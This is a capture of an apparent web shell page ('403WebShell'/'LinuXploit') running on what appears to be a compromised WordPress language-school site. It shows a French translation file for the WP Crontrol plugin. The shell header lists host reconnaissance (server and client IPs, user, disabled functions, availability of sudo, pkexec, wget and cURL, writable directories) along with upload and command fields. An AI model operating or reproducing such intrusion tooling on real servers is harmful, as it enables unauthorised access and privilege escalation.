Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/ecoledelangues.be/wp-content/languages/plugins/wp-crontrol-fr_FR.po
# Translation of Plugins - WP Crontrol - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - WP Crontrol - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-02-05 08:14:50+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: fr\n"
"Project-Id-Version: Plugins - WP Crontrol - Stable (latest release)\n"

#. translators: %s: An input field for specifying a date and time
#: src/bootstrap.php:1893
msgid "At this time: %s"
msgstr "À ce moment : %s"

#: src/bootstrap.php:1731 src/bootstrap.php:1784 src/event-list-table.php:116
msgid "Read what to do"
msgstr "Lire ce qu‘il faut faire"

#: src/bootstrap.php:1782
msgid "The PHP code in this event needs to be checked for integrity. This event will not run until you re-save it."
msgstr "L‘intégrité du code PHP de cet évènement doit être vérifiée. Cet évènement ne sera pas exécuté tant que vous ne l‘aurez pas réenregistré."

#: src/bootstrap.php:1706 src/event-list-table.php:601
msgid "PHP cron event"
msgstr "Évènement cron PHP"

#: src/bootstrap.php:1693
msgid "Standard cron event"
msgstr "Évènement cron standard"

#. Author of the plugin
#: wp-crontrol.php
msgid "John Blackbourn"
msgstr "John Blackbourn"

#. Plugin URI of the plugin
#. Author URI of the plugin
#: wp-crontrol.php
msgid "https://wp-crontrol.com"
msgstr "https://wp-crontrol.com"

#. translators: %s: The number of events with this hook
#: src/event-list-table.php:527
msgid "Delete all events with this hook (%s)"
msgstr "Supprimer tous les évènements avec ce crochet (%s)"

#. translators: Pause is a verb
#: src/event-list-table.php:492
msgid "Pause this hook"
msgstr "Mettre ce crochet en pause"

#. translators: Resume is a verb
#: src/event-list-table.php:481
msgid "Resume this hook"
msgstr "Reprendre l´exécution de ce crochet"

#. translators: State of a cron event, adjective
#: src/event-list-table.php:656
msgid "Paused"
msgstr "Mis en pause"

#. translators: %s: Function name
#: src/bootstrap.php:2286
msgid "Function %s does not exist"
msgstr "La fonction %s n’existe pas"

#: src/bootstrap.php:2026
msgid "An unknown error occurred."
msgstr "Une erreur inconnue est survenue."

#: src/bootstrap.php:935
msgid "Could not save CSV file."
msgstr "Impossible d’enregistrer le fichier CSV."

#: src/event-list-table.php:355
msgid "Export"
msgstr "Exporter"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1965
msgid "Scheduled the cron event %s to run now. The original event will not be affected."
msgstr "L’évènement cron %s a été planifié pour qu’il s’exécute maintenant. L’évènement d’origine ne sera pas affecté."

#: src/bootstrap.php:1094 src/bootstrap.php:1121 src/bootstrap.php:1139
msgid "Help"
msgstr "Aide"

#. translators: %s: URL to the documentation
#: src/bootstrap.php:1080
msgid "<a href=\"%s\">Read the WordPress.org documentation on WP-Cron</a> for more technical details about the WP-Cron system for developers."
msgstr "<a href=\"%s\">Lize la documentation WordPress.org sur WP-Cron</a> pour plus de détails techniques sur le système WP-Cron pour les développeurs/développeuses."

#. translators: %s: URL to the documentation
#: src/bootstrap.php:1066
msgid "<a href=\"%s\">Read the Frequently Asked Questions (FAQ)</a> which cover many common questions and answers."
msgstr "<a href=\"%s\">Lize la FAQ</a> qui couvrent de nombreuses questions et réponses courantes."

#. translators: 1: URL to the documentation, 2: WP Crontrol
#: src/bootstrap.php:1051
msgid "<a href=\"%1$s\">Read the %2$s website</a> which contains information about events that have missed their schedule, problems with spawning a call to the WP-Cron system, and much more."
msgstr "<a href=\"%1$s\">Lisez le Wiki de %2$s</a> qui contient des informations sur les évènements qui n’ont pas respecté leur programmation, les problèmes liés au déclenchement d’un appel au système WP-Cron, et bien plus encore."

#: src/bootstrap.php:1045
msgid "There are several places to get help with issues relating to WP-Cron:"
msgstr "Il existe plusieurs endroits pour obtenir de l’aide sur les problèmes liés à WP-Cron :"

#: src/event-list-table.php:560
msgid "This is a WordPress core event and cannot be deleted"
msgstr "C’est un évènement du cœur de WordPress et il ne peut être supprimé"

#: src/event-list-table.php:288
msgid "Custom events"
msgstr "Évènements personnalisés"

#: src/event-list-table.php:287
msgid "WordPress core events"
msgstr "Évènements du cœur WordPress"

#: src/event-list-table.php:286
msgid "Events with no action"
msgstr "Evénements sans action"

#: src/event-list-table.php:285
msgid "All events"
msgstr "Tous les évènements"

#: src/event.php:142
msgid "Invalid timestamp provided."
msgstr "Horodatage saisi non valide."

#. translators: %s: The name of the cron event.
#: src/event.php:113
msgid "Failed to schedule the cron event %s."
msgstr "Échec de la planification de l’évènement cron %s."

#. translators: %s: The name of the cron event.
#: src/event.php:74 src/event.php:333
msgid "The cron event %s could not be found."
msgstr "L’évènement cron %s est introuvable."

#: src/event-list-table.php:795
msgid "No matching cron events."
msgstr "Aucun évènement de cron correspondant."

#: src/event-list-table.php:126
msgid "One or more cron events have missed their schedule."
msgstr "Un ou plusieurs évènements cron ont manqué leur planification."

#: src/bootstrap.php:1683 src/bootstrap.php:1688
msgid "Event Type"
msgstr "Type d’évènement"

#: src/bootstrap.php:1572
msgid "The event you are trying to edit does not exist."
msgstr "L’évènement que vous essayez de modifier n’existe pas."

#: src/bootstrap.php:1390 src/bootstrap.php:1418 src/event-list-table.php:128
msgid "More information"
msgstr "Plus d’informations"

#: src/bootstrap.php:1388
msgid "PHP default timezone is not set to UTC. This may cause issues with cron event timings."
msgstr "Le fuseau horaire par défaut de PHP n’est pas défini sur UTC. Cela peut entraîner des problèmes avec les planifications des évènements cron."

#: src/bootstrap.php:109
msgctxt "verb"
msgid "Sponsor"
msgstr "Soutenir"

#. translators: 1: The name of the configuration constant, 2: The value of the
#. configuration constant
#: src/event-list-table.php:773 src/schedule-list-table.php:200
msgid "This interval is less than the %1$s constant which is set to %2$s seconds. Events that use it may not run on time."
msgstr "Cet intervalle est inférieur à la constante %1$s qui est définie sur %2$s secondes. Les évènements qui l’utilisent peuvent ne pas s’exécuter à temps."

#: src/event-list-table.php:793
msgid "There are currently no scheduled cron events."
msgstr "Il n’y a actuellement aucun évènement cron prévu."

#. translators: %s: Time period, for example "8 minutes"
#: src/event-list-table.php:736
msgid "%s ago"
msgstr "il y a %s"

#. translators: 1: Line number, 2: Error message text
#: src/event-list-table.php:621
msgid "Line %1$s: %2$s"
msgstr "Ligne %1$s : %2$s"

#: src/event-list-table.php:567
msgid "Select this row"
msgstr "Sélectionner cette rangée"

#. translators: %s: UTC offset
#: src/event-list-table.php:223
msgid "Next Run (%s)"
msgstr "Prochaine exécution (%s)"

#: src/event-list-table.php:219
msgid "Hook"
msgstr "Crochet"

#: src/schedule-list-table.php:233
msgid "There are no schedules."
msgstr "Il n’y a pas de planification."

#: src/schedule-list-table.php:119
msgid "This schedule is added by another plugin and cannot be deleted"
msgstr "Cette planification est ajoutée par une autre extension et ne peut être supprimée."

#: src/schedule-list-table.php:117 src/schedule-list-table.php:153
msgid "This is a WordPress core schedule and cannot be deleted"
msgstr "Ceci est une planification du cœur de WordPress qui ne peut être supprimée."

#. translators: %s: Schedule name
#: src/event.php:380
msgid "Unknown (%s)"
msgstr "Inconnu (%s)"

#: src/bootstrap.php:2075
msgid "Search Hook Names"
msgstr "Rechercher des noms de crochet"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2004
msgid "Failed to save the cron event %s."
msgstr "Échec d’enregistrement de l’évènement cron %s."

#: src/bootstrap.php:1999
msgid "Deleted the selected cron events."
msgstr "Supprimer les évènements cron sélectionnés."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1985
msgid "Deleted the cron event %s."
msgstr "Supprimer l’évènement cron %s."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1980
msgid "Saved the cron event %s."
msgstr "Enregistrer l’évènement cron %s."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1975
msgid "There are no %s cron events to delete."
msgstr "Il n’y a aucun évènement cron %s à supprimer."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1970
msgid "Deleted all %s cron events."
msgstr "Supprimer tous les évènements cron %s."

#: src/bootstrap.php:1639 src/bootstrap.php:2186
msgid "Edit Cron Event"
msgstr "Modifier un évènement Cron"

#: src/bootstrap.php:1615
msgid "Add Event"
msgstr "Ajouter un évènement"

#: src/bootstrap.php:1602
msgid "Update Event"
msgstr "Mettre à jour l’évènement"

#. translators: %s: The name of the plugin that controls the running of cron
#. events.
#: src/bootstrap.php:1304
msgid "WP-Cron spawning is being managed by the %s plugin."
msgstr "Le déclenchement de WP-Cron est géré par l’extension %s."

#. translators: %s: The name of the cron schedule.
#: src/bootstrap.php:1178
msgid "Added the cron schedule %s."
msgstr "Ajout de la planification cron %s."

#. translators: %s: The name of the cron schedule.
#: src/bootstrap.php:1173
msgid "Deleted the cron schedule %s."
msgstr "Suppression de la planification cron %s."

#: src/bootstrap.php:1116
msgid "Schedules"
msgstr "Planifications"

#: src/bootstrap.php:1111
msgid "Events"
msgstr "Évènements"

#: src/bootstrap.php:1884
msgid "Tomorrow"
msgstr "Demain"

#: src/bootstrap.php:1878
msgid "Now"
msgstr "Maintenant"

#: src/bootstrap.php:689 src/bootstrap.php:742
msgid "You are not allowed to delete PHP cron events."
msgstr "Vous n’êtes pas autorisé à supprimer les évènements cron PHP."

#: src/bootstrap.php:339 src/bootstrap.php:514
msgid "You are not allowed to edit PHP cron events."
msgstr "Vous n’êtes pas autorisé à modifier les évènements cron PHP."

#. translators: 1, 2, and 3: Example values for an input field.
#: src/bootstrap.php:1841
msgid "Use a JSON encoded array, e.g. %1$s, %2$s, or %3$s"
msgstr "Utilisez un tableau codé en JSON, par exemple : %1$s, %2$s ou %3$s."

#. translators: The PHP tag name
#: src/bootstrap.php:1792
msgid "The opening %s tag must not be included."
msgstr "La balise d’ouverture %s ne doit pas être incluse."

#: src/schedule-list-table.php:121
msgid "This custom schedule is in use and cannot be deleted"
msgstr "Cette planification personnalisée est en cours d’utilisation et ne peut pas être supprimée"

#: src/event-list-table.php:227
msgid "Action"
msgstr "Action"

#: src/bootstrap.php:1949
msgid "You cannot add, edit, or delete PHP cron events because your user account does not have the ability to edit files."
msgstr "Vous ne pouvez pas ajouter, modifier ou supprimer les évènements PHP cron, car votre compte utilisateur n’a pas la possibilité de modifier les fichiers."

#. translators: %s Timezone name.
#: src/bootstrap.php:1914
msgid "Timezone: %s"
msgstr "Fuseau horaire : %s"

#: src/bootstrap.php:1831
msgid "Arguments (optional)"
msgstr "Arguments (facultatif)"

#: src/bootstrap.php:1758 src/bootstrap.php:1804
msgid "Event Name (optional)"
msgstr "Nom de l’évènement (facultatif)"

#. translators: %s: The name of the PHP constant that is set.
#: src/bootstrap.php:1321
msgid "The %s constant is set to true."
msgstr "La constante %s est définie à « true »."

#. translators: %s: The name of the PHP constant that is set.
#: src/bootstrap.php:1313
msgid "The %s constant is set to true. WP-Cron spawning is disabled."
msgstr "La constante %s est définie à « true ». Le déclenchement de WP-Cron est désactivé."

#. translators: %s: The HTTP response code.
#: src/bootstrap.php:1354
msgid "Unexpected HTTP response code: %s"
msgstr "Code de réponse HTTP inattendu : %s"

#: src/bootstrap.php:1213 src/bootstrap.php:1235
msgid "Add Cron Schedule"
msgstr "Ajouter une fréquence cron"

#: src/bootstrap.php:1021 src/bootstrap.php:1022 src/bootstrap.php:2065
#: src/bootstrap.php:2146
msgid "Cron Events"
msgstr "Évènements Cron"

#: src/bootstrap.php:164 src/bootstrap.php:273
msgid "You are not allowed to add new PHP cron events."
msgstr "Vous n’êtes pas autorisé à ajouter de nouveaux scripts PHP."

#. Plugin Name of the plugin
#: wp-crontrol.php
msgid "WP Crontrol"
msgstr "WP Crontrol"

#: src/bootstrap.php:2384
msgid "now"
msgstr "maintenant"

#. translators: %s: The number of seconds in an interval of time.
#: src/bootstrap.php:2380
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s seconde"
msgstr[1] "%s secondes"

#. translators: %s: The number of minutes in an interval of time.
#: src/bootstrap.php:2378 src/bootstrap.php:2391
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s minute"
msgstr[1] "%s minutes"

#. translators: %s: The number of hours in an interval of time.
#: src/bootstrap.php:2376
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] "%s heure"
msgstr[1] "%s heures"

#. translators: %s: The number of days in an interval of time.
#: src/bootstrap.php:2374
msgid "%s day"
msgid_plural "%s days"
msgstr[0] "%s jour"
msgstr[1] "%s jours"

#. translators: %s: The number of weeks in an interval of time.
#: src/bootstrap.php:2372
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] "%s semaine"
msgstr[1] "%s semaines"

#. translators: %s: The number of months in an interval of time.
#: src/bootstrap.php:2370
msgid "%s month"
msgid_plural "%s months"
msgstr[0] "%s mois"
msgstr[1] "%s mois"

#. translators: %s: The number of years in an interval of time.
#: src/bootstrap.php:2368
msgid "%s year"
msgid_plural "%s years"
msgstr[0] "%s année"
msgstr[1] "%s années"

#: src/event-list-table.php:468
msgid "Run now"
msgstr "Exécuter maintenant"

#: src/event-list-table.php:444
msgid "Edit"
msgstr "Modifier"

#: src/bootstrap.php:957 src/bootstrap.php:1774
msgid "PHP Code"
msgstr "Code PHP"

#: src/bootstrap.php:314 src/bootstrap.php:528
msgid "PHP Cron"
msgstr "Cron PHP"

#: src/event-list-table.php:699
msgid "None"
msgstr "Aucune"

#: src/bootstrap.php:1856 src/bootstrap.php:1873
msgid "Next Run"
msgstr "Prochaine exécution"

#: src/bootstrap.php:1820
msgid "Hook Name"
msgstr "Nom du crochet"

#: src/bootstrap.php:1641 src/bootstrap.php:2181
msgid "Add Cron Event"
msgstr "Ajouter un évènement cron"

#. translators: %s: Error message text.
#: src/bootstrap.php:1414
msgid "There was a problem spawning a call to the WP-Cron system on your site. This means WP-Cron events on your site may not work. The problem was: %s"
msgstr "Il y a eu un problème lors du déclenchement d’un appel au système WP-Cron sur votre site. Cela signifie que les évènements WP-Cron sur votre site peuvent ne pas fonctionner. Le problème était : %s"

#: src/bootstrap.php:1224
msgid "Interval (seconds)"
msgstr "Intervalle (secondes)"

#: src/bootstrap.php:1218 src/schedule-list-table.php:78
msgid "Internal Name"
msgstr "Nom interne"

#: src/event-list-table.php:269 src/event-list-table.php:507
#: src/schedule-list-table.php:130
msgid "Delete"
msgstr "Delete"

#: src/bootstrap.php:1230 src/schedule-list-table.php:80
msgid "Display Name"
msgstr "Nom affiché"

#: src/schedule-list-table.php:79
msgid "Interval"
msgstr "Intervalle"

#: src/bootstrap.php:1014 src/bootstrap.php:1015 src/bootstrap.php:1205
#: src/bootstrap.php:2150
msgid "Cron Schedules"
msgstr "Fréquences Cron"

#: src/bootstrap.php:782 src/bootstrap.php:790
msgid "You are not allowed to run cron events."
msgstr "Vous n’êtes pas autorisé à exécuter des évènements cron."

#: src/bootstrap.php:637 src/bootstrap.php:680 src/bootstrap.php:734
msgid "You are not allowed to delete cron events."
msgstr "Vous n’êtes pas autorisé à supprimer des évènements cron."

#: src/bootstrap.php:622
msgid "You are not allowed to delete cron schedules."
msgstr "Vous n’êtes pas autorisé à supprimer des planifications cron."

#: src/bootstrap.php:604
msgid "You are not allowed to add new cron schedules."
msgstr "Vous n’êtes pas autorisé à ajouter de nouvelles planifications cron."

#: src/bootstrap.php:331 src/bootstrap.php:423
msgid "You are not allowed to edit cron events."
msgstr "Vous n’êtes pas autorisé à modifier des évènements cron."

#: src/bootstrap.php:157 src/bootstrap.php:215
msgid "You are not allowed to add new cron events."
msgstr "Vous n’êtes pas autorisé à ajouter de nouveaux évènements cron."

#: src/bootstrap.php:982 src/event-list-table.php:782 src/schedule.php:111
msgid "Non-repeating"
msgstr "Pas de répétition"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1990
msgid "Failed to the delete the cron event %s."
msgstr "Échec de la suppression de l’évènement cron %s."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:1995
msgid "Failed to the execute the cron event %s."
msgstr "Échec de l‘exécution de l’évènement cron %s."

Youez - 2016 - github.com/yon3zu
LinuXploit